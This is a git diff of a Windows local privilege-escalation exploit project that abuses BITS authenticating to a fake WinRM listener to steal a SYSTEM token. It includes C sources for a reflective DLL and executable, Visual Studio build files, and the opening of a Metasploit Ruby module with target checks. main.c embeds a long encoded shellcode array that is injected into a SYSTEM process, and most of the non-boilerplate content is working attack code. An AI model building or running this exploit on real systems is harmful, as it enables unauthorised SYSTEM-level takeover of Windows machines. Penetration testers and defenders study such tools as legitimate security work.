</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,63 @@
/*
This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
Remote Management) even if there is no WinRM service listening on that port. This exploit
launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
challenge response packet. The authentication allows to steal a SYSTEM token as a primary
token, and use it to launch an arbitrary process as SYSTEM.
In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
received from metasploit into the remote SYSTEM process and make it trigger its execution.
Details of the vulnerability here :
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
This exploit was developed from decoder's POC here:
https://github.com/antonioCoco/RogueWinRM
PREREQUISITES/
- Port 5985 must be free
- BITS must not be running
WARNING:
- As this exploit launches a services, a firewall popup may appear.
*/
#include "ReflectiveLoader.c"
#include "../Common_Src_Files/pch.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
//===============================================================================================//
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
int exit_status = -1;
BOOL bReturnValue = TRUE;
char* shellcode_address = (LPSTR)lpReserved;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
dprintf("[dllmain] Entry point.");
hAppInstance = hinstDLL;
exit_status = RunRogueWinRM(shellcode_address);
dprintf("[dllmain] Exit status: %d", exit_status);
ExitProcess(exit_status);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,189 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\Common_Src_Files\base64.c" />
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c" />
<ClCompile Include="..\Common_Src_Files\pch.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c" />
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\service.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="main.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../Common_Src_Files/pch.h</PrecompiledHeaderFile>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\Common_Src_Files\base64.h" />
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h" />
<ClInclude Include="..\Common_Src_Files\pch.h" />
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h" />
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h" />
<ClInclude Include="..\Common_Src_Files\Services\service.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{1a369363-2fe2-4694-9135-ea1a19105473}</ProjectGuid>
<RootNamespace>RogueWinRMexe</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>exe</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<TargetName>drunkpotato.x86</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<TargetName>drunkpotato.x86</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<TargetName>drunkpotato.x64</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>drunkpotato.x64</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;DEBUGTRACE;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;DEBUGTRACE;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,90 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Fichiers sources">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Fichiers d%27en-tête">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Fichiers de ressources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Fichiers sources\Services">
<UniqueIdentifier>{39a76e9d-ab1f-4748-ad0d-55acbfcc1dc1}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers sources\spnegotokenhandler">
<UniqueIdentifier>{316e2980-b9d8-47af-a64d-8af30c16ac35}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers d%27en-tête\spnegotokenhandler">
<UniqueIdentifier>{fb17173e-62a9-4c1c-ab43-b8c993787491}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers d%27en-tête\Services">
<UniqueIdentifier>{4c5a2b31-0594-4051-830e-e942ca3b1a13}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\base64.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\pch.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
<Filter>Fichiers sources\Services</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\service.c">
<Filter>Fichiers sources\Services</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h">
<Filter>Fichiers d%27en-tête\Services</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\Services\service.h">
<Filter>Fichiers d%27en-tête\Services</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\base64.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\pch.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,37 @@
/*
This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
Remote Management) even if there is no WinRM service listening on that port. This exploit
launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
challenge response packet. The authentication allows to steal a SYSTEM token as a primary
token, and use it to launch an arbitrary process as SYSTEM.
In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
received from metasploit into the remote SYSTEM process and make it trigger its execution.
Details of the vulnerability here :
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
This exploit was developed from decoder's POC here:
https://github.com/antonioCoco/RogueWinRM
PREREQUISITES/
- Port 5985 must be free
- BITS must not be running
WARNING:
- As this exploit launches a services, a firewall popup may appear.
*/
#include "../Common_Src_Files/pch.h"
int main(int argc, char** argv)
{
int exit_status = -1;
char shellcode[] = "47001\x00notepad.exe\x00\x31\x33\x38\x34\00\x48\x31\xc9\x48\x81\xe9\xa1\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x6c\xdd\xf4\xfa\xe9\x0d\x46\xb4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x90\x95\x77\x1e\x19\xe5\x8a\xb4\x6c\xdd\xb5\xab\xa8\x5d\x14\xe5\x24\xec\x26\x9f\xa1\x86\x14\xd4\x3a\x95\x7f\xa8\xf1\x45\xcd\xe6\x4c\x95\x7f\x88\xb9\x45\x49\x03\x26\x97\xb9\xcb\x20\x45\x77\x74\xc0\xe1\x95\x86\xeb\x21\x66\xf5\xad\x14\xf9\xbb\xe8\xcc\xa4\x59\x3e\x9c\xa5\xb2\x62\x5f\x66\x3f\x2e\xe1\xbc\xfb\x39\x6b\xc7\xcc\x74\xd6\xf6\xf5\x6c\x7f\x46\xb4\x6c\x56\x74\x72\xe9\x0d\x46\xfc\xe9\x1d\x80\x9d\xa1\x0c\x96\xf0\xe7\x9d\xd4\xaa\xa0\x0c\x96\x3f\x24\xc5\x17\xac\xa4\x3c\x8f\xfc\x93\x14\xb5\x71\xdd\x85\x0e\xb5\xba\x95\xc5\x3a\x45\x4c\x87\x7d\x61\x9c\xf5\x3b\xd1\xed\x33\x45\x20\xde\xb8\xde\xe1\x48\x7f\x65\x19\x05\xac\xbe\x62\x4d\x62\xfd\x6d\x0d\x92\xbb\x62\x01\x0e\xf0\xe7\x9d\xe8\xb3\xe8\xdd\x07\x3f\x68\x55\xbc\xfb\x39\x4c\x1e\xf5\x34\x83\xad\xa0\xa8\x55\x07\xed\x2d\x87\xbc\x79\x05\x2d\x07\xe6\x93\x3d\xac\xbb\xb0\x57\x0e\x3f\x7e\x34\xbf\x05\x16\xf2\x1b\xfc\x5d\x06\xa7\xb3\x57\x7a\x2f\xda\x05\xb3\x91\x8e\xe9\x4c\x10\xfc\xe5\x3c\xbd\x3d\x2b\x41\x31\x92\x6b\x22\x21\xa9\xba\x45\xcf\x55\x3f\x87\xb9\xcb\x29\x40\x77\x7d\x3f\x8e\xbd\x40\xd3\x5b\x3f\x13\x6c\xdd\xf4\xfa\x16\xd8\xae\xb9\x6c\xdd\xf4\xcb\xd0\x3f\x68\x85\x5a\xe5\xda\xcb\xc7\x3e\x72\xb4\x36\x95\x7d\x3b\xa0\xca\x86\x08\x6d\xdd\xf4\xb7\xd8\xc4\x15\xe7\x06\xde\xa7\xb3\x53\x5a\xcf\x2b\xaa\xdd\xf4\xfa\xe9\xf2\x93\x5c\xa0\xdd\xf4\xfa\xc6\x48\x71\xd8\x5a\xb5\xb1\xca\xb3\x3f\x02\xcc\x0f\x9b\xc5\xca\xbf\x4c\x7f\xda\x06\xb4\xb5\xcc\xaa\x64\x11\xde\x1e\x8b\xad\xbf\xdb\x7c\x21\xd2\x06\xae\xa6\x90\x88\x54\x0c\xdc\x2b\x95\xc1\xb5\xa5\x62\x20\xcd\x16\x87\xa4\x9c\xdf\x49\x02\xee\x55\xb9\xa1\xc2\xbc\x43\x0c\xc2\x3f\xa5\x92\xd7\x99\x44\x3c\xf5\x08\xe9\xa1\x9c\x86\x67\x33\xda\x55\xe9\xcd\xac\x8e\x6e\x2e\xfe\x04\x91\x9f\xb2\xb1\x67\x37\xcd\x3f\xb1\xa4\xa0\x9a\x47\x0b\xeb\x1f\x97\xb0\x8d\xab\x4e\x70\xc1\x36\xb0\xc7\xa3\xc4\x6f\x21\xd6\x54\xf0\xab\x9c\xc4\x4c\x32\xdb\x20\xed\x91\xb1\x86\x3d\x27\xde\x2f\x9a\x90\xa9\xb9\x78\x0d\xd9\x0f\xa8\xc4\x94\xa7\x6e\x6b\xfd\x5c\x97\x97\x82\x9c\x77\x13\xfe\x02\x94\x99\xcb\xa1\x7e\x76\x83\x5e\x99\x82\x82\x8a\x3a\x3c\x87\x34\x8d\xb0\xaa\xba\x66\x75\x8c\x5e\xab\xbe\xb9\x8f\x47\x33\x83\x3b\xf0\x97\x82\x9f\x49\x14\xb4\x24\x54\x35\xa9\xb3\x4c\x1e\xf9\x5d\x14\xa7\xb2\x51\x0d\x74\x1c\xe8\xdd\xf4\xfa\xe9\x5d\x15\xe7\x25\x1a\x36\x11\xbc\x23\x7d\x4b\xb9\x95\x7d\x3c\x83\x07\x19\xfc\xe5\x2c\x9e\xe5\xb3\x5f\x2e\x34\x5f\xdd\xf4\xb3\x60\xed\x2c\xb0\x2d\x84\xbd\x40\x9c\x4b\xd8\x32\x6c\xdd\xf4\xfa\x16\xd8\x0b\x85\xac\x8e\xae\xb2\x60\xfc\x0b\x85\xa5\x90\xc5\x33\xba\x5e\x0f\x73\xae\xf0\xf2\xe2\x92\xf2\x93\x31\xac\xa8\xeb\xb2\x2e\xcc\xce\xa7\x6c\xdd\xbd\x40\xad\xfd\x73\x54\x6c\xdd\xf4\xfa\x16\xd8\x0e\x4b\xa3\xa9\xf6\x11\x43\xe5\x13\xb4\x6c\xdd\xa7\xa3\x83\x4d\x1c\xfd\xe5\x0c\x35\x18\xf9\x44\x81\x74\x6c\xcd\xf4\xfa\xa0\xb7\x1e\x10\x3f\x38\xf4\xfa\xe9\x0d\xb9\x61\x24\x4e\xa7\xa9\xa1\x84\xa1\xfc\xe5\x2c\xbc\x73\x33\x44\x81\x74\x6c\xfd\xf4\xfa\xa0\x84\xbf\xfd\xd6\xcf\x62\x73\x0b\x0d\x46\xb4\x6c\x22\x21\xb2\x6a\xc9\x66\x31\xac\xa9\x46\x9c\x62\x0a\x0e\xb5\xaf\x58\x34\x8f\x3b\x55\x85\xec\x06\xdd\xad\xb3\x2e\xcf\xb6\x01\xce\x8b\x0b\x2f\xe9\x0d\x46\xb4";
dprintf("[main] Entry point.");
exit_status = RunRogueWinRM(shellcode);
return exit_status;
}

View File

@ -0,0 +1,41 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30320.27
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM exe", "RogueWinRM exe\RogueWinRM exe.vcxproj", "{1A369363-2FE2-4694-9135-EA1A19105473}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM dll", "RogueWinRM dll\RogueWinRM dll.vcxproj", "{0DE97039-6DA0-4844-BD1F-15425D3C0330}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x64.ActiveCfg = Debug|x64
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x64.Build.0 = Debug|x64
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x86.ActiveCfg = Debug|Win32
{1A369363-2FE2-4694-9135-EA1A19105473}.Debug|x86.Build.0 = Debug|Win32
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x64.ActiveCfg = Release|x64
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x64.Build.0 = Release|x64
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x86.ActiveCfg = Release|Win32
{1A369363-2FE2-4694-9135-EA1A19105473}.Release|x86.Build.0 = Release|Win32
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x64.ActiveCfg = Debug|x64
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x64.Build.0 = Debug|x64
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x86.ActiveCfg = Debug|Win32
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Debug|x86.Build.0 = Debug|Win32
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x64.ActiveCfg = Release|x64
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x64.Build.0 = Release|x64
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x86.ActiveCfg = Release|Win32
{0DE97039-6DA0-4844-BD1F-15425D3C0330}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6DC2263A-ECC4-4CB7-AFD2-D38D67EB517E}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,299 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
# Those are integer codes for representing the services involved in this exploit.
BITS = 1
WINRM = 2
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',
'Description' => %q{
This module exploit BITS behavior which tries to connect to the
local Windows Remote Management server (WinRM) every times it
starts. The module launches a fake WinRM server which listen on
port 5985 and triggers BITS. When BITS starts, it tries to
authenticate to the Rogue WinRM server, which allows to steal a
SYSTEM token. This token is then used to launch a new process
as SYSTEM user. In the case of this exploit, notepad.exe is launched
as SYSTEM. Then, it write shellcode in its previous memory space
and trigger its execution. As this exploit uses reflective dll
injection, it does not write any file on the disk. See
/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
for complementary words of information.
Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.
WARNING:
- As this exploit runs a service on the target (Fake WinRM on port
5985), a firewall popup may appear on target screen. Thus, this exploit
may not be completely silent.
- This exploit has been successfully tested on :
Windows 10 (10.0 Build 19041) 32 bits
Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
- This exploit failed because of no BITS authentication attempt on:
Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
- Windows servers are not vulnerable because a genuine WinRM
service is already running, except if the user has disabled it
(Or if this exploit succeed to terminate it).
- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
required.
- BITS must not be running.
- This exploit automatically perform above quoted checks.
run "check" command to run checklist.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cassandre', # Adapted decoder's POC for metasploit
'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC
'Antonio Cocomazzi (splinter_code)',
'Roberto (0xea31)',
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'none',
'WfsDelay' => '120'
},
'Targets' =>
[
['Automatic', {}]
],
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
},
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00"
},
'References' =>
[
['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],
['URL', 'https://github.com/antonioCoco/RogueWinRM'],
],
'DisclosureDate' => 'Dec 06 2019',
'DefaultTarget' => 0
}
)
)
shutdown_service_option_description = [
'Should this module attempt to shutdown BITS and WinRM services if they are running?',
'Setting this parameter to true is useful only if SESSION is part of administrator group.',
'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'
].join(' ')
winrm_port_option_description = [
'Port the exploit will listen on for BITS connexion.',
'As the principle of the exploit is to impersonate a genuine WinRM service,',
'it should listen on WinRM port. This is in most case 5985 but in some configuration,',
'it may be 47001.'
].join(' ')
host_process_option_description = [
'The process which will be launched as SYSTEM and execute metasploit shellcode.',
'This process is launched without graphical interface so it is hidden.'
].join(' ')
register_options(
[
OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),
OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),
OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])
]
)
end
#
# Function used to perform all mandatory checks in order to assess
# if the target is vulnerable before running the exploit.
# Basically, this function does the following:
# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# - Checks if operating system is neither Windows 7 nor Windows XP
# - Checks if BITS and WinRM are running, and attempt to terminate them if the user
# has specified the corresponding option
# - Checks if the session is not already SYSTEM
def check
privs = client.sys.config.getprivs
os = client.sys.config.sysinfo['OS']
# Fast fails
if os.include?('Windows 7') || os.include?('Windows XP')
print_bad("Operating system: #{os}")
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
return Exploit::CheckCode::Safe
end
unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
return Exploit::CheckCode::Safe
end
